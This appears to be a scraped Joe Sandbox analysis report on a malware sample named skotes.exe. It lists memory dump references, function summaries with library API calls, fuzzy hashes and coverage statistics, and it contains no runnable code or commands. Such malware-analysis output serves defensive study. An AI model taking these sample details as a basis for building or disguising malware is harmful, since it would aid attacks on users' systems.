Associated: 00000007.00000002.3113636376.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113664150.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113689780.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113719453.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113752452.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113799343.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113915149.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113953895.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114047284.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114095536.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114129322.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114164190.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114195007.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114226114.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114260671.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114293372.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114330677.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114422785.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114518776.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114599336.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114636370.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114756671.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114830697.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114885588.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114922101.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115161727.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115211209.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115259566.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115296613.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115339056.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115380348.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115416933.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0c50a2d79798059c163e92d020ffd93ffb12718dc540c87a36ecd71e4f1ad826
Instruction ID: 39d49751d304aceb1aed6a38db682b9ef352cf8f217c57ff26ed29a454a43e00
Opcode Fuzzy Hash: 0c50a2d79798059c163e92d020ffd93ffb12718dc540c87a36ecd71e4f1ad826
Instruction Fuzzy Hash: 24F082326C5225A6EB317A769C09AAB7759DF85770B188121ED08A71C1EA2CEC4087E1

Non-executed Functions

Function 00752EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00752F5F
GetCurrentThreadId.KERNEL32 ref: 00752F7E
__Mtx_unlock.LIBCPMT ref: 00752FCC
__Cnd_broadcast.LIBCPMT ref: 00752FE3
__Mtx_unlock.LIBCPMT ref: 007530F5
GetCurrentThreadId.KERNEL32 ref: 00753132
__Mtx_unlock.LIBCPMT ref: 0075319B

Memory Dump Source

Source File: 00000007.00000002.3113044007.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000007.00000002.3113014527.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113044007.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113137662.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113164919.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113191764.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113218313.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113246743.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113376009.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113407323.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113509316.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113540858.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113569057.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113596693.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113636376.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113664150.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113689780.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113719453.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113752452.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113799343.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113915149.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113953895.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114047284.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114095536.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114129322.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114164190.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114195007.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114226114.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114260671.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114293372.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114330677.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114422785.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114518776.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114599336.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114636370.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114756671.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114830697.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114885588.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114922101.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115161727.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115211209.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115259566.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115296613.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115339056.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115380348.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115416933.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 943553471169f6c4e5c79c19badfd11cffad4358a24978ed87bb4096842aa1d2
Instruction ID: 8491c1f6c90fd105e9ac4f182574d631e087ee63db71875a6c0a5d5af44a0186
Opcode Fuzzy Hash: 943553471169f6c4e5c79c19badfd11cffad4358a24978ed87bb4096842aa1d2
Instruction Fuzzy Hash: 7DA10270A01719DFDB11DB74C848BAAB7A8FF05351F048129EC1AD7291EB79EA08CBD1

Function 0078CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0078CC66

Strings

vx, xrefs: 0078CBE1

Memory Dump Source

Source File: 00000007.00000002.3113044007.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000007.00000002.3113014527.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113044007.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113137662.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113164919.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113191764.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113218313.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113246743.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113376009.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113407323.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113509316.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113540858.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113569057.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113596693.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113636376.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113664150.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113689780.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113719453.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113752452.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113799343.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113915149.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113953895.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114047284.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114095536.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114129322.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114164190.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114195007.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114226114.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114260671.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114293372.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114330677.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114422785.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114518776.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114599336.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114636370.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114756671.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114830697.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114885588.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114922101.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115161727.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115211209.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115259566.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115296613.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115339056.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115380348.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115416933.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vx
API String ID: 3213747228-3280647138
Opcode ID: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction ID: b576dc29b53c18f5b8c3d601ad05c51026d342e868765f911806ea7397dca4d6
Opcode Fuzzy Hash: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction Fuzzy Hash: 3DB13832E446859FDB16EF28C8817BEBBE5EF45350F1441AAE855EB242D63C9D01CB70

Function 0076BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0076BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0076BBE4
_xtime_get.LIBCPMT ref: 0076BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0076BC13

Memory Dump Source

Source File: 00000007.00000002.3113044007.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000007.00000002.3113014527.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113044007.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113137662.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113164919.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113191764.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113218313.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113246743.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113376009.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113407323.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113509316.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113540858.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113569057.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113596693.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113636376.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113664150.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113689780.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113719453.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113752452.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113799343.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113915149.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113953895.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114047284.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114095536.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114129322.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114164190.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114195007.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114226114.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114260671.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114293372.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114330677.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114422785.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114518776.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114599336.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114636370.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114756671.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114830697.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114885588.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114922101.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115161727.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115211209.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115259566.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115296613.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115339056.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115380348.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115416933.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: da272ea1c73b1ee2710e5b552d92274dbd0097f0a541a81ee25c22e04aec912f
Instruction ID: 9ea053984075f25d699cacd6f66f02ef6fe6fc611832924ba3d4b7f850a29c5a
Opcode Fuzzy Hash: da272ea1c73b1ee2710e5b552d92274dbd0097f0a541a81ee25c22e04aec912f
Instruction Fuzzy Hash: 5A214F72A00209EFDF01EFA4CC959BEB7B9EF49710F104415F902B7251DB389D419BA0

Function 0078F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0078F3A3

Strings

8"{, xrefs: 0078F44B
`'{, xrefs: 0078F375

Memory Dump Source

Source File: 00000007.00000002.3113044007.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000007.00000002.3113014527.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113044007.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113137662.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113164919.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113191764.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113218313.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113246743.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113376009.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113407323.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113509316.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113540858.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113569057.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113596693.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113636376.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113664150.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113689780.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113719453.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113752452.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113799343.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113915149.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113953895.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114047284.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114095536.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114129322.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114164190.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114195007.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114226114.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114260671.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114293372.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114330677.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114422785.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114518776.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114599336.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114636370.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114756671.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114830697.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114885588.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114922101.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115161727.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115211209.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115259566.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115296613.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115339056.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115380348.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115416933.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"{$`'{
API String ID: 3903695350-3088295984
Opcode ID: 557a39ed94709d25baa982f4360ed0190c9bb99c23edda4693c91e7292095056
Instruction ID: 800c30207ec4e53d080f7c5be3ee95d9a40813bc30b5d2e38fbd417bb3809b5c
Opcode Fuzzy Hash: 557a39ed94709d25baa982f4360ed0190c9bb99c23edda4693c91e7292095056
Instruction Fuzzy Hash: 0E316C31680602EFEB21BA79D849B5B73E8EF00352F10542BE449D7999DF79EC80CB21

Analysis Process: skotes.exePID: 4184, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1942
Total number of Limit Nodes:	11

Executed Functions

Function 0078652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0078652A,?,?,?,?,?,00787661), ref: 00786566

Memory Dump Source

Source File: 00000008.00000002.3114854961.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000008.00000002.3114803645.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3114854961.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115049114.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115086337.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115136348.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
